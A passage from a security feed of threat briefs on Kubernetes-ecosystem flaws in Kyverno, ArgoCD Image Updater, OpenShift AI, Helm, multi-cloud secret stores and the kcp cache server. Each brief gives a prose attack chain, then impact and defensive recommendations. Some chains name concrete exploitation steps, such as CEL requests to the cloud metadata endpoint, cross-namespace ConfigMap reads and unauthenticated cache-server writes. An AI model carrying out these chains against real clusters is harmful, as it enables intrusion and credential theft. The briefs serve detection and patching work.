\u003ccode\u003epkg/engine/context/loaders/configmap.go\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe policy includes a \u003ccode\u003emutate\u003c/code\u003e rule designed to extract data from the targeted ConfigMap and embed it into annotations of another ConfigMap within the attacker\u0026rsquo;s namespace.\u003c/li\u003e\n\u003cli\u003eThe attacker triggers the policy by creating or modifying a ConfigMap (e.g., \u003ccode\u003etrigger-cm\u003c/code\u003e) in their own namespace. This triggers Kyverno\u0026rsquo;s admission controller.\u003c/li\u003e\n\u003cli\u003eKyverno, running with a privileged service account (cluster-wide \u003ccode\u003eview\u003c/code\u003e role), fetches the ConfigMap from the victim namespace based on the attacker\u0026rsquo;s policy.\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003emutate\u003c/code\u003e rule in the policy executes, copying the contents of the stolen ConfigMap data into annotations of the trigger ConfigMap.\u003c/li\u003e\n\u003cli\u003eThe attacker retrieves the modified \u003ccode\u003etrigger-cm\u003c/code\u003e ConfigMap and extracts the exfiltrated secrets from the annotations.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation of this vulnerability allows a namespace administrator to bypass Kubernetes RBAC and read ConfigMaps from any namespace within the cluster. This can lead to the exfiltration of sensitive data such as database credentials, API keys, and other secrets stored in ConfigMaps. The impact is most severe in multi-tenant environments where namespace isolation is critical for security.  This vulnerability affects any Kubernetes cluster running Kyverno v1.17.0 (and earlier) with namespace-scoped Policy creation enabled. A successful attack violates the principle of least privilege and breaks multi-tenancy guarantees.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the Sigma rule \u003ccode\u003eDetect Kyverno Policy Creating Cross-Namespace ConfigMap Context\u003c/code\u003e to identify potentially malicious policies.\u003c/li\u003e\n\u003cli\u003eApply the namespace validation fix suggested in the advisory to \u003ccode\u003econfigmap.NewConfigMapLoader()\u003c/code\u003e.  Specifically, ensure the resolved namespace in the ConfigMap context matches the policy\u0026rsquo;s namespace (\u003ccode\u003epkg/engine/context/loaders/configmap.go\u003c/code\u003e).\u003c/li\u003e\n\u003cli\u003eAudit other Kyverno context loaders (\u003ccode\u003eglobalReference\u003c/code\u003e, \u003ccode\u003eimageRegistry\u003c/code\u003e, \u003ccode\u003evariable\u003c/code\u003e) for similar missing namespace validation patterns.\u003c/li\u003e\n\u003cli\u003eUpgrade to a patched version of Kyverno as soon as it is released. Refer to the Kyverno release notes for the fix version.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-04-17T12:00:00Z","date_published":"2026-04-17T12:00:00Z","id":"/briefs/2026-04-kyverno-configmap-rbac-bypass/","summary":"CVE-2026-22039 incompletely fixed a cross-namespace privilege escalation vulnerability in Kyverno's apiCall context, as the ConfigMap context loader still lacks namespace validation, allowing a namespace admin to read ConfigMaps from any namespace using Kyverno's privileged service account, leading to a complete RBAC bypass in multi-tenant Kubernetes clusters.","title":"Kyverno ConfigMap Cross-Namespace Read RBAC Bypass (CVE-2026-22039 Incomplete Fix)","url":"https://feed.craftedsignal.io/briefs/2026-04-kyverno-configmap-rbac-bypass/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["critical"],"_cs_tags":["kyverno","kubernetes","privilege-escalation","data-manipulation"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eKyverno, a Kubernetes policy engine, is susceptible to multiple vulnerabilities that can be exploited by authenticated remote attackers. These flaws allow attackers to disclose sensitive information, circumvent security measures, manipulate data, and ultimately gain elevated privileges within the Kubernetes environment. Successful exploitation of these vulnerabilities could lead to unauthorized access to sensitive resources, disruption of services, and potential compromise of the entire cluster. Given Kyverno\u0026rsquo;s central role in enforcing security policies, these vulnerabilities pose a significant risk to organizations relying on this tool for governance and compliance. Defenders should prioritize identifying and mitigating these vulnerabilities to prevent potential attacks.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eThe attacker authenticates to the Kyverno API server using valid credentials.\u003c/li\u003e\n\u003cli\u003eThe attacker exploits a vulnerability in the policy evaluation engine to bypass configured security policies.\u003c/li\u003e\n\u003cli\u003eThe attacker leverages an information disclosure vulnerability to gain access to sensitive data, such as service account tokens or configuration details.\u003c/li\u003e\n\u003cli\u003eThe attacker manipulates existing Kyverno policies to grant themselves additional permissions within the cluster.\u003c/li\u003e\n\u003cli\u003eThe attacker uses the elevated permissions to create or modify Kubernetes resources, such as pods or deployments.\u003c/li\u003e\n\u003cli\u003eThe attacker modifies data within the cluster, potentially impacting applications and services.\u003c/li\u003e\n\u003cli\u003eThe attacker escalates privileges to gain cluster-admin access.\u003c/li\u003e\n\u003cli\u003eThe attacker exfiltrates sensitive data from the compromised Kubernetes cluster.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation of these vulnerabilities in Kyverno can have severe consequences. It can lead to unauthorized access to sensitive data, manipulation of Kubernetes resources, and ultimately, a complete compromise of the cluster. This can result in data breaches, service disruptions, and significant financial and reputational damage. Organizations relying on Kyverno for security and governance in their Kubernetes environments are particularly vulnerable. The lack of specific victim numbers makes it difficult to quantify the impact precisely, but the criticality of Kyverno in Kubernetes security makes this a high-priority threat.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImplement strict access controls and monitoring for the Kyverno API server to detect unauthorized authentication attempts.\u003c/li\u003e\n\u003cli\u003eAnalyze Kyverno audit logs for suspicious policy modifications and resource creations to identify potential exploitation attempts. Enable Kubernetes audit logging to detect unusual activity related to resources managed by Kyverno.\u003c/li\u003e\n\u003cli\u003eDevelop and deploy the Sigma rules provided in this brief to detect attempts to bypass security policies.\u003c/li\u003e\n\u003cli\u003eRegularly review and update Kyverno policies to ensure they are effective and do not contain any vulnerabilities.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-04-16T11:19:02Z","date_published":"2026-04-16T11:19:02Z","id":"/briefs/2026-04-kyverno-vulns/","summary":"An authenticated remote attacker can exploit multiple vulnerabilities in Kyverno to disclose information, bypass security measures, manipulate data, and gain elevated privileges.","title":"Multiple Vulnerabilities in Kyverno Allow Privilege Escalation and Data Manipulation","url":"https://feed.craftedsignal.io/briefs/2026-04-kyverno-vulns/"},{"_cs_actors":[],"_cs_cves":[{"cvss":9.1,"id":"CVE-2026-6388"}],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["critical"],"_cs_tags":["argocd","privilege-escalation","kubernetes","cve-2026-6388"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eCVE-2026-6388 is a critical vulnerability affecting ArgoCD Image Updater. This flaw allows an attacker who has the ability to create or modify ImageUpdater resources within a multi-tenant ArgoCD environment to bypass namespace boundaries. By exploiting insufficient validation within the Image Updater, an attacker can trigger image updates for applications residing in different namespaces, effectively escalating privileges across tenant boundaries. This unauthorized modification of application images can lead to compromised application integrity and potentially introduce malicious code into the targeted environments. The vulnerability was reported on 2026-04-15. Defenders must ensure proper access control and validation mechanisms are in place to mitigate the risk of exploitation.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAttacker gains access to an ArgoCD account with permissions to create or modify ImageUpdater resources.\u003c/li\u003e\n\u003cli\u003eAttacker crafts a malicious ImageUpdater resource that targets an application in a different namespace.\u003c/li\u003e\n\u003cli\u003eThe malicious ImageUpdater resource specifies a container image to be updated.\u003c/li\u003e\n\u003cli\u003eArgoCD Image Updater processes the malicious ImageUpdater resource.\u003c/li\u003e\n\u003cli\u003eDue to insufficient validation, the Image Updater bypasses namespace boundaries.\u003c/li\u003e\n\u003cli\u003eThe Image Updater triggers an update to the target application\u0026rsquo;s container image in the other namespace.\u003c/li\u003e\n\u003cli\u003eThe target application is now running with the attacker-controlled container image.\u003c/li\u003e\n\u003cli\u003eThe attacker achieves cross-namespace privilege escalation and compromises the target application\u0026rsquo;s integrity.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation of CVE-2026-6388 allows an attacker to perform unauthorized image updates across namespaces in a multi-tenant ArgoCD environment. This leads to cross-namespace privilege escalation, enabling attackers to compromise applications managed by other tenants. The compromised applications may be used to conduct further attacks, steal sensitive data, or cause disruption. The severity is considered critical due to the potential for widespread impact and the relative ease of exploitation for attackers with the required permissions.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImplement strict Role-Based Access Control (RBAC) policies within ArgoCD to limit the ability of users to create or modify ImageUpdater resources (reference: Overview section).\u003c/li\u003e\n\u003cli\u003eDeploy the provided Sigma rule to detect suspicious ImageUpdater resource modifications targeting multiple namespaces (reference: rules section).\u003c/li\u003e\n\u003cli\u003eThoroughly review and harden the ImageUpdater validation logic to prevent namespace bypass (reference: CVE-2026-6388).\u003c/li\u003e\n\u003cli\u003eMonitor ArgoCD logs for any attempts to create or modify ImageUpdater resources from unusual or unauthorized sources (reference: rules logsource).\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-04-15T22:17:22Z","date_published":"2026-04-15T22:17:22Z","id":"/briefs/2026-04-argocd-privesc/","summary":"CVE-2026-6388 describes a flaw in ArgoCD Image Updater that allows an attacker with permissions to create or modify an ImageUpdater resource in a multi-tenant environment to bypass namespace boundaries and trigger unauthorized image updates.","title":"ArgoCD Image Updater Namespace Bypass Vulnerability (CVE-2026-6388)","url":"https://feed.craftedsignal.io/briefs/2026-04-argocd-privesc/"},{"_cs_actors":[],"_cs_cves":[{"cvss":9.8,"id":"CVE-2026-4789"}],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["high"],"_cs_tags":["SSRF","kyverno","kubernetes","cel","cloud-security"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eA Server-Side Request Forgery (SSRF) vulnerability has been identified in Kyverno\u0026rsquo;s CEL HTTP library (\u003ccode\u003epkg/cel/libs/http/\u003c/code\u003e), affecting versions \u0026gt;= 1.16.0. This flaw allows users with permissions to create namespace-scoped policies to bypass intended restrictions and make arbitrary HTTP requests from the Kyverno admission controller. This can lead to unauthorized access to internal Kubernetes services in other namespaces, cloud metadata endpoints such as 169.254.169.254 (allowing credential theft), and the exfiltration of sensitive data by embedding it in policy error messages. The vulnerability stems from a lack of URL validation in the \u003ccode\u003ehttp.Get()\u003c/code\u003e and \u003ccode\u003ehttp.Post()\u003c/code\u003e functions used within CEL policies, contrasting with the namespace enforcement present in the \u003ccode\u003eresource.Lib\u003c/code\u003e. The reported vulnerability was tested and confirmed on Kyverno v1.16.2 deployed via Helm chart 3.6.2.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAn attacker gains the ability to create NamespacedValidatingPolicy resources within a specific Kubernetes namespace. This could be achieved through compromised credentials, misconfigured RBAC, or other privilege escalation methods.\u003c/li\u003e\n\u003cli\u003eThe attacker crafts a malicious NamespacedValidatingPolicy that utilizes the \u003ccode\u003ehttp.Get()\u003c/code\u003e or \u003ccode\u003ehttp.Post()\u003c/code\u003e function within a CEL expression. The crafted policy is applied to the target Kubernetes cluster.\u003c/li\u003e\n\u003cli\u003eThe CEL expression within the policy is designed to make an HTTP request to an internal service (e.g., \u003ccode\u003einternal-api.kube-system.svc.cluster.local\u003c/code\u003e) or a cloud metadata endpoint (\u003ccode\u003e169.254.169.254\u003c/code\u003e).\u003c/li\u003e\n\u003cli\u003eThe crafted NamespacedValidatingPolicy is triggered by a specific event, such as the creation of a ConfigMap within the attacker\u0026rsquo;s namespace, which matches the \u003ccode\u003ematchConstraints\u003c/code\u003e defined in the policy.\u003c/li\u003e\n\u003cli\u003eThe Kyverno admission controller executes the CEL expression, making the HTTP request to the specified internal service or cloud metadata endpoint.\u003c/li\u003e\n\u003cli\u003eThe HTTP response from the internal service or cloud metadata endpoint is captured by the CEL expression.\u003c/li\u003e\n\u003cli\u003eThe attacker crafts a \u003ccode\u003emessageExpression\u003c/code\u003e within the NamespacedValidatingPolicy to include the captured data in a validation error message.\u003c/li\u003e\n\u003cli\u003eThe validation error message, containing the exfiltrated data, is returned to the user, effectively leaking sensitive information.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eThis SSRF vulnerability allows attackers with limited, namespace-scoped privileges to access sensitive data within a Kubernetes cluster. This includes the ability to access services in other namespaces, potentially compromising sensitive configurations or secrets. Access to cloud metadata endpoints (169.254.169.254) allows the theft of IAM credentials, leading to further escalation of privileges within the cloud environment. Successful exploitation breaks namespace isolation, undermining the security model of Kyverno and Kubernetes.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the Sigma rule to detect suspicious usage of \u003ccode\u003ehttp.Get\u003c/code\u003e or \u003ccode\u003ehttp.Post\u003c/code\u003e function in \u003ccode\u003eNamespacedValidatingPolicy\u003c/code\u003e resources in your SIEM and tune for your environment.\u003c/li\u003e\n\u003cli\u003eMonitor network connections originating from the Kyverno pods, specifically looking for connections to internal Kubernetes services or cloud metadata endpoints (169.254.169.254), using the \u003ccode\u003enetwork_connection\u003c/code\u003e log source.\u003c/li\u003e\n\u003cli\u003eApply the suggested fix by adding namespace and URL restrictions to \u003ccode\u003epkg/cel/libs/http/http.go\u003c/code\u003e in Kyverno, similar to how \u003ccode\u003eresource.Lib\u003c/code\u003e enforces namespace boundaries as per the advisory.\u003c/li\u003e\n\u003cli\u003eUpgrade Kyverno to a patched version \u0026gt;= 1.17 when available, addressing the CVE-2026-4789.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-04-14T22:37:20Z","date_published":"2026-04-14T22:37:20Z","id":"/briefs/2024-01-08-kyverno-ssrf/","summary":"A Server-Side Request Forgery (SSRF) vulnerability in Kyverno's CEL HTTP library allows users with namespace-scoped policy creation permissions to make arbitrary HTTP requests, enabling unauthorized access to internal services, cloud metadata endpoints, and data exfiltration.","title":"Kyverno SSRF Vulnerability in CEL HTTP Library","url":"https://feed.craftedsignal.io/briefs/2024-01-08-kyverno-ssrf/"},{"_cs_actors":[],"_cs_cves":[{"cvss":8.5,"id":"CVE-2026-5483"}],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["high"],"_cs_tags":["openshift","kubernetes","token-disclosure","cve-2026-5483"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eA vulnerability, CVE-2026-5483, has been identified in the \u003ccode\u003eodh-dashboard\u003c/code\u003e component of Red Hat OpenShift AI (RHOAI). This flaw allows for the unintended disclosure of Kubernetes Service Account tokens via a NodeJS endpoint. Discovered in April 2026, the vulnerability stems from the insertion of sensitive information into sent data. An attacker with knowledge of the vulnerable endpoint can potentially exploit this to gain unauthorized access to Kubernetes resources within the affected OpenShift environment. This poses a significant risk, particularly in environments where OpenShift AI is used to manage sensitive data or critical infrastructure.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eThe attacker identifies a Red Hat OpenShift AI instance running the vulnerable \u003ccode\u003eodh-dashboard\u003c/code\u003e component.\u003c/li\u003e\n\u003cli\u003eThe attacker crafts a malicious HTTP request targeting the vulnerable NodeJS endpoint responsible for handling Kubernetes Service Account tokens.\u003c/li\u003e\n\u003cli\u003eThe vulnerable endpoint processes the request without proper sanitization or access controls.\u003c/li\u003e\n\u003cli\u003eThe Kubernetes Service Account token is inadvertently included in the response data due to the CWE-201 vulnerability (Insertion of Sensitive Information Into Sent Data).\u003c/li\u003e\n\u003cli\u003eThe attacker intercepts or captures the response containing the leaked Kubernetes Service Account token.\u003c/li\u003e\n\u003cli\u003eThe attacker uses the compromised Kubernetes Service Account token to authenticate to the Kubernetes API.\u003c/li\u003e\n\u003cli\u003eThe attacker enumerates the Kubernetes cluster to identify potential targets and resources.\u003c/li\u003e\n\u003cli\u003eThe attacker leverages the compromised Service Account privileges to access sensitive data, modify configurations, or deploy malicious workloads within the Kubernetes cluster.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation of CVE-2026-5483 can lead to unauthorized access to Kubernetes resources within a Red Hat OpenShift AI environment. The disclosure of Kubernetes Service Account tokens allows an attacker to bypass authentication controls and potentially gain complete control over the cluster. This could result in data breaches, service disruptions, and the deployment of malicious applications, affecting all users and applications relying on the compromised OpenShift AI instance. The severity is high, with a CVSS v3.1 base score of 8.5.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eApply the patch provided by Red Hat via RHSA-2026:7397 to remediate the vulnerability in \u003ccode\u003eodh-dashboard\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eMonitor web server logs for suspicious requests targeting NodeJS endpoints associated with \u003ccode\u003eodh-dashboard\u003c/code\u003e using the \u0026ldquo;Detect OpenShift Token Disclosure Attempt\u0026rdquo; Sigma rule.\u003c/li\u003e\n\u003cli\u003eImplement network segmentation to limit the impact of a potential compromise and restrict access to sensitive Kubernetes resources.\u003c/li\u003e\n\u003cli\u003eEnable and review Kubernetes audit logs to detect unauthorized activity performed by compromised service accounts.\u003c/li\u003e\n\u003cli\u003eRotate Kubernetes Service Account tokens regularly to minimize the window of opportunity for an attacker to exploit leaked credentials.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-04-11T12:00:00Z","date_published":"2026-04-11T12:00:00Z","id":"/briefs/2026-04-openshift-token-disclosure/","summary":"CVE-2026-5483 is a high-severity vulnerability in the `odh-dashboard` component of Red Hat OpenShift AI (RHOAI) that allows for the disclosure of Kubernetes Service Account tokens through a NodeJS endpoint, potentially leading to unauthorized access to Kubernetes resources.","title":"Red Hat OpenShift AI odh-dashboard Kubernetes Token Disclosure (CVE-2026-5483)","url":"https://feed.craftedsignal.io/briefs/2026-04-openshift-token-disclosure/"},{"_cs_actors":[],"_cs_cves":[{"id":"CVE-2026-35204"}],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["high"],"_cs_tags":["helm","path-traversal","vulnerability","plugin","kubernetes"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eHelm, a package manager for Kubernetes charts, is vulnerable to a path traversal issue. Specifically, Helm versions 4.0.0 through 4.1.3 are affected. A maliciously crafted Helm plugin, when installed or updated, can exploit this vulnerability (CVE-2026-35204) to write the plugin\u0026rsquo;s contents to arbitrary locations on the user\u0026rsquo;s filesystem. This can lead to overwriting critical system files or user data, potentially compromising the system\u0026rsquo;s integrity. Helm v4.1.4 resolves this vulnerability by rejecting plugins with non-SemVer versions containing path traversal patterns. Defenders should ensure Helm installations are updated to the patched version or implement workarounds to validate plugin metadata.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAn attacker crafts a malicious Helm plugin. This plugin contains a \u003ccode\u003eplugin.yaml\u003c/code\u003e file with a \u003ccode\u003eversion\u003c/code\u003e field that includes POSIX dot-dot path separators (e.g., \u003ccode\u003e/../\u003c/code\u003e).\u003c/li\u003e\n\u003cli\u003eThe attacker distributes the malicious plugin to potential victims, possibly through public repositories or direct spear phishing.\u003c/li\u003e\n\u003cli\u003eA victim attempts to install or update the Helm plugin using the \u003ccode\u003ehelm plugin install\u003c/code\u003e or \u003ccode\u003ehelm plugin update\u003c/code\u003e command.\u003c/li\u003e\n\u003cli\u003eHelm parses the \u003ccode\u003eplugin.yaml\u003c/code\u003e file and extracts the \u003ccode\u003eversion\u003c/code\u003e field, which contains the path traversal characters.\u003c/li\u003e\n\u003cli\u003eDue to the vulnerability, Helm incorrectly resolves the file path, allowing the plugin\u0026rsquo;s contents to be written outside the intended plugin directory.\u003c/li\u003e\n\u003cli\u003eThe malicious plugin overwrites arbitrary files on the user\u0026rsquo;s system based on the path specified in the \u003ccode\u003eversion\u003c/code\u003e field.\u003c/li\u003e\n\u003cli\u003eDepending on the files overwritten, the attacker can achieve various malicious objectives, such as gaining persistence, escalating privileges, or executing arbitrary code.\u003c/li\u003e\n\u003cli\u003eThe attacker achieves persistence by overwriting system startup scripts or configuration files, allowing the malicious code to run automatically on system reboot.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation of this vulnerability allows attackers to overwrite arbitrary files on the victim\u0026rsquo;s system. This can lead to various detrimental outcomes, including data loss, system instability, privilege escalation, and ultimately, complete system compromise. While the specific number of victims is unknown, any user running a vulnerable version of Helm (4.0.0 - 4.1.3) is at risk. The potential impact includes compromising Kubernetes deployments and sensitive data stored on affected systems.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpgrade Helm to version 4.1.4 or later to remediate CVE-2026-35204, as this version includes a patch that prevents path traversal during plugin installation.\u003c/li\u003e\n\u003cli\u003eImplement a validation step before installing or updating Helm plugins, checking the \u003ccode\u003eplugin.yaml\u003c/code\u003e file for a \u003ccode\u003eversion:\u003c/code\u003e field containing POSIX dot-dot path separators. This mitigates the risk described in the workaround section of the advisory.\u003c/li\u003e\n\u003cli\u003eDeploy the Sigma rule \u0026ldquo;Helm Plugin Install with Path Traversal\u0026rdquo; to detect attempts to install plugins with malicious \u003ccode\u003eversion\u003c/code\u003e fields, using file_event logs.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-04-11T12:00:00Z","date_published":"2026-04-11T12:00:00Z","id":"/briefs/2026-04-helm-path-traversal/","summary":"A path traversal vulnerability in Helm versions 4.0.0 to 4.1.3 allows a malicious plugin to write files to arbitrary locations on the filesystem, leading to potential system compromise.","title":"Helm Plugin Path Traversal Vulnerability","url":"https://feed.craftedsignal.io/briefs/2026-04-helm-path-traversal/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["high"],"_cs_tags":["credential-access","cloud","kubernetes"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eThis threat brief focuses on the detection of potential credential compromise and abuse in multi-cloud environments. The core issue is the observation of a single source IP address accessing secret stores across multiple cloud providers (AWS Secrets Manager, Google Secret Manager, Azure Key Vault) and Kubernetes clusters within a short timeframe. This behavior, detected by the Elastic rule \u0026ldquo;Multiple Cloud Secrets Accessed by Source Address\u0026rdquo; published on 2026-04-10, is indicative of an adversary attempting to harvest secrets using stolen credentials, hijacked sessions, or replayed tokens. The rule is designed to identify anomalous cross-cloud secret retrieval, which is uncommon in legitimate multi-cloud orchestration scenarios. Defenders need to identify the source IP, the accessed secrets, and potential compromise scope to mitigate the threat effectively.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eInitial Access:\u003c/strong\u003e Adversary gains access to valid credentials or session tokens through various means like phishing, malware, or exposed credentials. (T1555, T1566)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAuthentication:\u003c/strong\u003e Adversary uses the compromised credentials or tokens to authenticate to one of the cloud provider\u0026rsquo;s API (AWS, Azure, GCP).\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDiscovery (AWS):\u003c/strong\u003e The adversary leverages the AWS CLI or API to enumerate available secrets stored in AWS Secrets Manager using \u003ccode\u003eGetSecretValue\u003c/code\u003e API calls.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDiscovery (Azure):\u003c/strong\u003e The adversary uses compromised credentials to interact with Azure Key Vault, utilizing \u003ccode\u003eSecretGet\u003c/code\u003e or \u003ccode\u003eKeyGet\u003c/code\u003e actions to discover accessible secrets.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDiscovery (GCP):\u003c/strong\u003e The adversary uses compromised service account or user credentials to access Google Secret Manager and enumerate accessible secrets using \u003ccode\u003egoogle.cloud.secretmanager.v1.SecretManagerService.AccessSecretVersion\u003c/code\u003e or \u003ccode\u003egoogle.cloud.secretmanager.v1.SecretManagerService.GetSecretRequest\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDiscovery (Kubernetes):\u003c/strong\u003e The adversary uses compromised credentials to access the Kubernetes API and enumerate secrets within the cluster, specifically targeting the \u003ccode\u003esecrets\u003c/code\u003e resource with \u003ccode\u003eget\u003c/code\u003e or \u003ccode\u003elist\u003c/code\u003e verbs.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eCredential Access:\u003c/strong\u003e The adversary retrieves the secret values from each cloud provider and Kubernetes cluster. (T1555.006)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eExfiltration/Lateral Movement:\u003c/strong\u003e The adversary exfiltrates the retrieved secrets for further malicious activities, such as lateral movement within the cloud environments or unauthorized access to sensitive data.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eA successful attack can lead to the exfiltration of sensitive data, including API keys, database passwords, and encryption keys. This could result in unauthorized access to critical systems and data, potentially leading to data breaches, financial loss, and reputational damage. The impact is amplified in multi-cloud environments as the adversary can leverage the compromised secrets to move laterally between different cloud providers, increasing the scope and severity of the attack.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the provided Sigma rule \u0026ldquo;Multiple Cloud Secrets Accessed by Source Address\u0026rdquo; to your SIEM to detect this activity across your cloud environments. Enable required logging: GCP Audit DATA_READ for Secret Manager API, Azure Key Vault Diagnostic Logging, and AWS CloudTrail for Secrets Manager.\u003c/li\u003e\n\u003cli\u003eInvestigate any alerts triggered by the Sigma rule by validating the principal (user, service account) and reviewing related activity (authentication, privilege escalation). Check application context, user agent, and IP reputation as detailed in the rule\u0026rsquo;s triage steps.\u003c/li\u003e\n\u003cli\u003eRestrict or disable affected credentials or service accounts and rotate all accessed secrets if the activity is unauthorized or suspicious, as described in the rule\u0026rsquo;s Response and Remediation steps.\u003c/li\u003e\n\u003cli\u003eHarden identity security by enforcing MFA, reducing permissions to least privilege, and reviewing trust relationships. Audit visibility should be improved by ensuring logging is enabled across all cloud environments.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-04-10T16:27:52Z","date_published":"2026-04-10T16:27:52Z","id":"/briefs/2024-02-multi-cloud-secrets-access/","summary":"A single source IP accessing secret-management APIs across multiple cloud providers (AWS, GCP, Azure) and Kubernetes clusters within a short timeframe indicates potential credential theft, session hijacking, or token replay.","title":"Multiple Cloud Secrets Accessed by Single Source IP","url":"https://feed.craftedsignal.io/briefs/2024-02-multi-cloud-secrets-access/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["high"],"_cs_tags":["kcp","kubernetes","cache","authentication","authorization","privilege-escalation"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eThe kcp (Kubernetes Cluster Platform) cache server, responsible for replicating resources, is directly exposed by the root shard without any authentication or authorization checks. This vulnerability allows anyone with network access to the root shard to read replicated resources and potentially write to the cache server, creating a race condition. The lack of authentication in the preHandlerChainMux, specifically identified in \u003ccode\u003epkg/server/config.go\u003c/code\u003e at line 514-518, causes the cache server to be proxied before authentication or authorization can take place. This impacts kcp versions prior to v0.29.3 and between v0.30.0 and v0.30.3. This vulnerability allows unauthorized access to sensitive information, including RBAC rules, cluster topology, API surfaces, admission control policies, and tenancy configurations.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAttacker gains network access to the kcp root shard, typically through exposed ports or external URLs.\u003c/li\u003e\n\u003cli\u003eAttacker crafts an HTTP request targeting the \u003ccode\u003e/services/cache/*\u003c/code\u003e endpoint without any authentication headers.\u003c/li\u003e\n\u003cli\u003eThe request bypasses authentication and authorization checks due to the flawed preHandlerChainMux configuration.\u003c/li\u003e\n\u003cli\u003eThe attacker reads replicated resources from the cache, such as clusterroles, clusterrolebindings, logicalclusters, apiexports, and validatingwebhookconfigurations.\u003c/li\u003e\n\u003cli\u003e(Optional) The attacker attempts to inject a malicious ClusterRole and ClusterRoleBinding via a POST request to the cache server.\u003c/li\u003e\n\u003cli\u003eThe cache etcd watch fires, notifying the authorization informer and replication controller in parallel.\u003c/li\u003e\n\u003cli\u003eThe authorization informer updates its in-memory store, briefly granting the attacker the injected RBAC rules.\u003c/li\u003e\n\u003cli\u003eThe replication controller eventually reconciles and deletes the injected object, but a small window of opportunity exists for privilege escalation.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation of this vulnerability allows unauthorized access to critical cluster information, potentially exposing RBAC configurations, API endpoints, and internal infrastructure details. An attacker can read replicated resources, including cluster roles, cluster role bindings, logical clusters, shards, API exports, API resource schemas, mutating webhook configurations, validating webhook configurations, validating admission policies, and workspace types. While injected objects are 